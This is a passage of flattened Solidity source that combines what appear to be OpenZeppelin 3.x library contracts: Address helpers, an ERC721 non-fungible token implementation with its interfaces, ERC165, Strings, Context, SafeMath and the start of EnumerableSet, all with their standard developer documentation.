no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { 